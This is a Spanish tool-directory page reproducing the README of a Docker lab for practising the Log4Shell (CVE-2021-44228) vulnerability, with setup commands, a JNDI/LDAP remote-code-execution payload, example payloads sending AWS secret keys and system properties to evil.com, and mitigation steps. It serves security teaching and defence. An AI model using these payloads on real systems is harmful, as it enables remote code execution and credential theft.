Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
log4shell-docker-lab — Log4Shell (CVE-2021-44228) laboratorio Docker | Kitploit
Herramientas/GitHubGitHub/axelcurmi/log4shell-docker-lab
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónLabs y Práctica
GitHubaxelcurmi/log4shell-docker-lab

log4shell-docker-lab

Log4Shell (CVE-2021-44228) laboratorio Docker

Ver Repositorio
13hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Laboratorio docker Log4Shell para CVE-2021-44228

Los componentes

Este laboratorio docker utiliza tres componentes:

  • La aplicación vulnerable spring-boot
  • Un servidor HTTP que aloja archivos .class utilizados para la ejecución remota de código
  • Un servidor de referencia LDAP que redirige consultas LDAP específicas al servidor HTTP

Configuración del laboratorio docker

1. Red Docker

root@kitploit:~
docker network create log4shell

2. Construcción de las imágenes Docker

root@kitploit:~
$ docker build -t log4shell-vulnapp vulnapp
$ docker build -t log4shell-httpserver httpserver
$ docker build -t log4shell-marshalsec marshalsec

3. Ejecución de los contenedores

Nota importante: Si usas Windows PowerShell, reemplaza $(pwd) por ${pwd}.

root@kitploit:~
$ docker run -d --name log4shell-vulnapp --network="log4shell" -p 8080:8080 log4shell-vulnapp
$ docker run -d --name log4shell-httpserver --network="log4shell" -p 3223:3223 -v $(pwd)/httpserver:/httpserver log4shell-httpserver
$ docker run -d --name log4shell-marshalsec --network="log4shell" -p 1389:1389 log4shell-marshalsec "http://<HostIp>:<Port>/#<RCEObjectName>"

Explotación

Abre la aplicación vulnerable, introduce algunas credenciales de prueba falsas y abre los registros del contenedor log4shell-vulnapp. Se puede ver que la aplicación registra intentos de inicio de sesión fallidos (por ejemplo, Intento de inicio de sesión incorrecto para el usuario 'test'). A partir de este pequeño experimento, se establece que tenemos control sobre alguna parte de la cadena registrada (es decir, el nombre de usuario).

Podemos pasar un payload como el siguiente para ejecutar código de forma remota:

root@kitploit:~
${jndi:ldap://<HostIp>:1389/<RCEObjectName>}

La ejecución remota de código se puede realizar en cualquier versión de Java; sin embargo, las máquinas con versiones de Java anteriores a la siguiente lista [1]:

  • 6u211
  • 7u201
  • 8u191
  • 11.0.1

Esto se debe a que las versiones posteriores establecen la propiedad del sistema JVM com.sun.jndi.ldap.object.trustURLCodebase en false por defecto, lo que desactiva la carga JNDI de clases desde bases de código URL arbitrarias. Sin embargo, confiar únicamente en una versión nueva de Java como protección contra esta vulnerabilidad es arriesgado, ya que la vulnerabilidad aún puede explotarse en máquinas que contienen ciertas clases "gadget" en el classpath de la aplicación vulnerable y las consultas DNS pueden usarse para obtener información como variables de entorno.

Existen varias sustituciones de búsqueda que revelan información sensible de la máquina víctima. De manera más destacada, utilizando un payload similar a [2, 3]:

root@kitploit:~
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.evil.com/foo}
${jndi:ldap://${sys:user.name}.evil.com/foo}
${jndi:ldap://${main:x}.evil.com/foo}
${jndi:ldap://${spring:supersecretkey}.evil.com/foo}

Nota: La cadena de ataque de búsqueda spring requiere que log4j-spring-cloud-config-client esté incluido en la aplicación. [2]

Mitigación

La mejor manera de mitigar esta grave vulnerabilidad es actualizar log4j2 a una versión >= 2.17.0. Sin embargo, es posible mitigar completamente el problema sin actualizar usando dos métodos diferentes. Se recomienda encarecidamente a los proveedores que no puedan actualizar a una versión más reciente de Log4j2 que utilicen ambos métodos de mitigación especificados a continuación [1].

Método 1: Para log4j 2.10.0 o posterior - Deshabilitar búsquedas

Deshabilitar las búsquedas se puede realizar (globalmente) configurando la variable de entorno LOG4J_FORMAT_MSG_NO_LOOKUPS en true editando el archivo /etc/environment y añadiendo: LOG4J_FORMAT_MSG_NO_LOOKUPS=true [1]

Alternativamente, las búsquedas se pueden deshabilitar para una invocación específica de la JVM añadiendo la siguiente bandera de línea de comandos al ejecutar la aplicación Java vulnerable: ‐Dlog4j2.formatMsgNoLookups=True [1]

Método 2: Para log4j anterior a 2.10.0 - Eliminar la clase vulnerable

Al usar una versión de log4j anterior a 2.10.0, es posible eliminar la clase JndiLookup de cualquier aplicación Java.

Referencias

[1] Menashe, S., (2021). Todo sobre la vulnerabilidad de día cero Log4Shell - CVE-2021-44228. [en línea] JFrog. Disponible en: https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know [Consultado el 24 de diciembre de 2021].

[2] Goers, R., (2021). Log4j – Búsquedas de Log4j 2. [en línea] logging.apache.org. Disponible en: https://logging.apache.org/log4j/2.x/manual/lookups.html [Consultado el 24 de diciembre de 2021].

[3] Oracle. (2021). Propiedades del sistema. [en línea] Disponible en: https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html [Consultado el 24 de diciembre de 2021].

Descargar herramienta